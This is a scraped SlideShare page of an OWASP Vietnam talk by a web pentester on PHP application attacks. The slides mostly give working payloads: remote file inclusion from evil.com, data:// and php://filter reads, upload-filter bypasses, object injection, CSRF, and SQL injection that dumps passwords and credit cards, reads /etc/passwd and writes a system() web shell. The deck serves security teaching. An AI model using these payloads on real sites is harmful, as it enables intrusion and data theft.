SlideShare une entreprise Scribd logo
1  sur  54
Télécharger pour lire hors ligne
OWASP VIETNAM

H4x0rs gonna Hack
Fix or be pwned!
Who?
❏ manhluat (ML)
❏ Web -App Security Pentester
Contact me ...maybe?!
❏ https://twitter.com/manhluat93
❏ manhluat93.php@gmail.com
@tks to g4,w~
Trust something!
$GLOBALS
$_SERVER
$_GET
$_POST

$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV
$_SERVER
$_SERVER[‘HTTP_HOST’]
Host: somethingevil
$_SERVER
$_SERVER[‘REQUEST_URI’]
curl "http://localhost/test/http://evil/../../../../test/http_host.php"
[REQUEST_URI] => /test/http://evil/../../../../test/http_host.php

$_SERVER[‘PHP_SELF’]
curl "http://localhost/test/http_host.php/somethingevil"
[PHP_SELF] => /test/http_host.php/somethingevil
$_GET $_POST $_COOKIE
base64_decode($_GET['x']);

GET: ?x[]=evil
POST: x[]=evil
COOKIE: x[]=evil;
strcmp,strncmp,strcasecmp
if(strcmp($_GET[‘x’],$password)==0)
echo “Ok”;

?x[]=1
Zend/zend_builtin_functions.c

<? if(NULL==0) echo ‘OK’; ?>
// output: OK
//Source: /admin/index.php
if($_SESSION[‘login’] != ‘admin’){
header(“Location: login.php”);
}
echo "ADMIN Cpanel";
// ADMINCP functions … Add-Edit blah blah...

cURL is your friend ;)$

curl
http://localhost/admin/index.php -ik
HTTP/1.1

302 Found
Date: Mon, 16 Dec 2013 00:50:41 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.4.9-4ubuntu2.3
Location: login.php
Vary: Accept-Encoding
Content-Length: 119
Content-Type: text/html
<br />
<b>Notice</b>: Undefined variable: _SESSION in <b>index.php</b> on line <b>3</b><br />
ADMIN Cpanel
PHP Streams
fopen
file_get_contents
readfile
include (include_once)
require (require_once)
PHP Stream Wrappers
?x=file:///etc/passwd
?x=data://,evil
?x=php://filter/convert.base64encode/resource=index.php

<?php file_get_contents($_GET[‘x’]); ?>
if(!preg_match(‘#http://www.google.com#is’,$url))
die(‘FAILED’);
include($url);

?url=data://text/html;charset=http://www.google.com,evil();
//TimThumb is a popular script used for image resize.
//Public Exploit for v 1.32 (08/2011):
http://www.exploit-db.com/exploits/17602
…

if ($url_info['host'] == 'www.youtube.com' || …)

?url=data://www.youtube.com/html;,evil();
...
include($_GET[‘lang’].”.txt”);
...

with allow_url_include=on
?lang=http://evil.com/backdoor?
lang=data://,system(‘ls’);#
...
include($_GET[‘lang’].”.txt”);
...
allow_url_include=off
If you have a zip file on target host which includes “evil.txt”?
lang=zip:///tmp/evil.txt.zip#evil?lang=//192.168.1.1//evil
File Upload Script
if($_FILES[‘file’][‘type’] == ‘image/gif’)

Do not trust Content-Type!
Blacklist Filter
if(preg_match(‘#.php$#’,$filename))
die(‘HACKER’);
...
strpos($filename,’php’);
...

evil.PHP
evil.PhP
evil.php5 (preg_match)
Whitelist Filter
...
$allow_type = array(‘jpeg’,’gif’,’png’);
$ext = explode(‘.’,$filename);
$ext = $ext[1];
if(in_array($ext,$allow_type))
move_uploaded_file...

evil.jpeg.php
evil.gif.php
PHP Object Injection
serialize
serialize(1337); // Output: i:1337;
serialize(“OWASP”); //Output: s:5:"OWASP";
serialize(array(‘a’=>’A’));
//Output: a:1:{s:1:"a";s:1:"A";}serialize(new Foo());
//Output: O:3:"Foo":1:{s:4:"name";s:2:"ML";}
unserialize(‘a:1:{s:1:"a";s:1:"A";}’);
//Output: Array(‘a’=>’A’);unserialize(‘O:3:"Foo":1:
{s:4:"name";s:2:"ML";}’);
//Output: Foo Object ( [name] => ML )
Magic Methods
__construct(), __destruct(), __call(),
__callStatic(), __get(), __set(),
__isset(), __unset(), __sleep(),
__wakeup(), __toString(), __invoke(),
__set_state() and __clone()
__construct()Gets called when a new object
is created.
__destruct()Called when there are no more
references to an object or when an object
is destroy
__wakeup()Unserialize() triggers this to
allow reconstruction of resources to be
used
CVE: 2012-5692Invision Power Board <= 3.3.4 "unserialize
()" PHP Code Execution
EXPLOIT TIME
PWNED
Joomla! <= 3.0.2 (highlight.php) PHP Object
Injection Vulnerability
CubeCart <= 5.2.0 (cubecart.class.php) PHP Object
Injection Vulnerability
http://vagosec.org/2013/12/wordpress-rce-exploit
http://prezi.com/5hif_vurb56p/php-object-injection
XSS (Cross-Site Scripting)
This is how you prevent!
<?="<img src='".strip_tags($_GET['src'])."' />";?>

FAILED :(
$input = $_GET['input'];
$input = preg_replace('#</*.+?>#','',$input); // remove
<tag>
$input = preg_replace('#s#','',$input); // remove space
echo "<input type='text' name='vuln' value='".$input."' />";
OOPS :O
CSRF (Cross-site request forgery)

?password=evil&confirm_password=evil&submit=Change%20Password
POST ?!
Easy ;)
Real-World
http://pyx.io/blog/facebook-csrf-leading-to-full-account-takeoverSo, the
course of action to take over victim's account would be:
1. Use "Find contacts on Facebook" from attacker account and log all
requests
2. Find /contact-importer/login request
3. Remove added email from your (attacker) account
4. Get the victim to somehow make the /contact-importer/login request
(infinite possibilities here)
5. Email is now added to victim's account, silently
6. Use "Forgot your password" to take over the account
SQL Injection
…
mysql_query(‘SELECT * FROM news WHERE id = ‘.$_GET[‘id’]);
...

…
mysql_query(‘SELECT * FROM users WHERE name = “‘.$_GET[‘id’].’”’;);
...

…
mysql_query(‘SELECT * FROM news WHERE content LIKE “%‘.$_GET[‘id’].’%”’;);
...
Dump database:
● ?id=1 UNION SELECT version(),null
● ?id=1 UNION SELECT username,password FROM
administrator
● ?id=1 UNION SELECT )numberno,name FROM
creditcards
DoS:
● ?id=1 UNION SELECT benchmark(1,999999),null

Write/Read File (with file_priv = 1):

● ?id=1 UNION SELECT load_file(‘/etc/passwd’),null
● ?id=1 UNION SELECT “<?=system($_GET[x])?>”,null
INTO OUTFILE ‘/var/www/backdoor.php’
htmlspecialchars,htmlentities
$input = ‘123 ' " < > ’; // 123 ‘ “ < > 
htmlspecialchars($input,ENT_QUOTES); //Output: 123 &#039; &quot; &lt; &gt; 
htmlentities($input,ENT_QUOTES); //Output: 123 &#039; &quot; &lt; &gt; 

$username = htmlentities($_POST[‘username’],ENT_QUOTES);
$password = htmlentities($_POST[‘password’],ENT_QUOTES);
SELECT * FROM users WHERE username=”$username” AND password=”$password”

?username=
&password= OR 1-===>... WHERE username=”” AND password=” OR 1--”
mysql_real_escape_string
mysql_real_escape_string() calls MySQL's library function mysql_real_escape_string, which prepends
backslashes to the following characters: x00, n, r, , ', " and x1a.
This function must always (with few exceptions) be used to make data safe before sending a query
to MySQL.

$id = mysql_real_escape_string($_GET[‘id’]);
mysql_query(‘SELECT * FROM news WHERE id = ‘.$id);
...

!!???
?id=1 UNION SELECT version(),null
$type = mysql_real_escape_string($_GET[‘type’]);
mysql_query(‘SELECT * FROM news WHERE

`‘.$type.’`=1’);

mysql_real_escape_string`...` is it a
string ?!...NO
?type=anytype`=1 UNION SELECT
version(),null--
SELECT * FROM users WHERE user LIKE ’{$user}’ AND password LIKE ‘{$pass}’;

?user=admin&password=%
Yahoo!
Sony
Twitter
WHCMS
...
Question?
END.

Contenu connexe

Tendances

AWS CLOUD 2018- 인공지능 보안 위협 감지 서비스 Amazon GuardDuty를 포함한 AWS 보안 신규 기능 업데이트 (임기...
AWS CLOUD 2018- 인공지능 보안 위협 감지 서비스 Amazon GuardDuty를 포함한 AWS 보안 신규 기능 업데이트 (임기...AWS CLOUD 2018- 인공지능 보안 위협 감지 서비스 Amazon GuardDuty를 포함한 AWS 보안 신규 기능 업데이트 (임기...
AWS CLOUD 2018- 인공지능 보안 위협 감지 서비스 Amazon GuardDuty를 포함한 AWS 보안 신규 기능 업데이트 (임기...
Amazon Web Services Korea
 

Tendances (20)

Vulnérabilité des sites web
Vulnérabilité des sites webVulnérabilité des sites web
Vulnérabilité des sites web
 
Unsecuring SSH
Unsecuring SSHUnsecuring SSH
Unsecuring SSH
 
Presentation Symfony
Presentation SymfonyPresentation Symfony
Presentation Symfony
 
Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)
 
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
 
Mod security
Mod securityMod security
Mod security
 
Abusing Microsoft Kerberos - Sorry you guys don't get it
Abusing Microsoft Kerberos - Sorry you guys don't get itAbusing Microsoft Kerberos - Sorry you guys don't get it
Abusing Microsoft Kerberos - Sorry you guys don't get it
 
Library Operating System for Linux #netdev01
Library Operating System for Linux #netdev01Library Operating System for Linux #netdev01
Library Operating System for Linux #netdev01
 
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
 
Swaggerでのapi開発よもやま話
Swaggerでのapi開発よもやま話Swaggerでのapi開発よもやま話
Swaggerでのapi開発よもやま話
 
Security Monitoring with eBPF
Security Monitoring with eBPFSecurity Monitoring with eBPF
Security Monitoring with eBPF
 
10 règles de securite de la sécurité informatique
10 règles de securite de la sécurité informatique10 règles de securite de la sécurité informatique
10 règles de securite de la sécurité informatique
 
Bug Bounty for - Beginners
Bug Bounty for - BeginnersBug Bounty for - Beginners
Bug Bounty for - Beginners
 
Cyber Kill Chain: Web Application Exploitation
Cyber Kill Chain: Web Application ExploitationCyber Kill Chain: Web Application Exploitation
Cyber Kill Chain: Web Application Exploitation
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing Techniques
 
AWS CLOUD 2018- 인공지능 보안 위협 감지 서비스 Amazon GuardDuty를 포함한 AWS 보안 신규 기능 업데이트 (임기...
AWS CLOUD 2018- 인공지능 보안 위협 감지 서비스 Amazon GuardDuty를 포함한 AWS 보안 신규 기능 업데이트 (임기...AWS CLOUD 2018- 인공지능 보안 위협 감지 서비스 Amazon GuardDuty를 포함한 AWS 보안 신규 기능 업데이트 (임기...
AWS CLOUD 2018- 인공지능 보안 위협 감지 서비스 Amazon GuardDuty를 포함한 AWS 보안 신규 기능 업데이트 (임기...
 
API Testing and Hacking (1).pdf
API Testing and Hacking (1).pdfAPI Testing and Hacking (1).pdf
API Testing and Hacking (1).pdf
 
Performance Analysis: The USE Method
Performance Analysis: The USE MethodPerformance Analysis: The USE Method
Performance Analysis: The USE Method
 
Threat Hunting with Splunk
Threat Hunting with SplunkThreat Hunting with Splunk
Threat Hunting with Splunk
 
암호화 이것만 알면 된다.
암호화 이것만 알면 된다.암호화 이것만 알면 된다.
암호화 이것만 알면 된다.
 

Similaire à H4x0rs gonna hack

Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009
mirahman
 
Security 202 - Are you sure your site is secure?
Security 202 - Are you sure your site is secure?Security 202 - Are you sure your site is secure?
Security 202 - Are you sure your site is secure?
ConFoo
 

Similaire à H4x0rs gonna hack (20)

Evolution Of Web Security
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web Security
 
PHPUG Presentation
PHPUG PresentationPHPUG Presentation
PHPUG Presentation
 
PHP Secure Programming
PHP Secure ProgrammingPHP Secure Programming
PHP Secure Programming
 
Owasp Top 10 A1: Injection
Owasp Top 10 A1: InjectionOwasp Top 10 A1: Injection
Owasp Top 10 A1: Injection
 
Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009
 
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacksRoberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
 
PHP SA 2014 - Releasing Your Open Source Project
PHP SA 2014 - Releasing Your Open Source ProjectPHP SA 2014 - Releasing Your Open Source Project
PHP SA 2014 - Releasing Your Open Source Project
 
Security: Odoo Code Hardening
Security: Odoo Code HardeningSecurity: Odoo Code Hardening
Security: Odoo Code Hardening
 
2009 Barcamp Nashville Web Security 101
2009 Barcamp Nashville   Web Security 1012009 Barcamp Nashville   Web Security 101
2009 Barcamp Nashville Web Security 101
 
Look Who's Talking
Look Who's TalkingLook Who's Talking
Look Who's Talking
 
Intro to Php Security
Intro to Php SecurityIntro to Php Security
Intro to Php Security
 
Webauthn Tutorial
Webauthn TutorialWebauthn Tutorial
Webauthn Tutorial
 
Dip Your Toes in the Sea of Security (PHP UK 2016)
Dip Your Toes in the Sea of Security (PHP UK 2016)Dip Your Toes in the Sea of Security (PHP UK 2016)
Dip Your Toes in the Sea of Security (PHP UK 2016)
 
Security 202 - Are you sure your site is secure?
Security 202 - Are you sure your site is secure?Security 202 - Are you sure your site is secure?
Security 202 - Are you sure your site is secure?
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by default
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by default
 
Web Application Security in Rails
Web Application Security in RailsWeb Application Security in Rails
Web Application Security in Rails
 
Building Secure Twitter Apps
Building Secure Twitter AppsBuilding Secure Twitter Apps
Building Secure Twitter Apps
 

Dernier

+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
?#DUbAI#??##{{(☎️+971_581248768%)**%*]'#abortion pills for sale in dubai@
 

Dernier (20)

Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot ModelMcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
 
Vector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptxVector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptx
 
Six Myths about Ontologies: The Basics of Formal Ontology
Six Myths about Ontologies: The Basics of Formal OntologySix Myths about Ontologies: The Basics of Formal Ontology
Six Myths about Ontologies: The Basics of Formal Ontology
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor Presentation
 
Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
Understanding the FAA Part 107 License ..
Understanding the FAA Part 107 License ..Understanding the FAA Part 107 License ..
Understanding the FAA Part 107 License ..
 
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
 
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptx
 
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : Uncertainty
 

H4x0rs gonna hack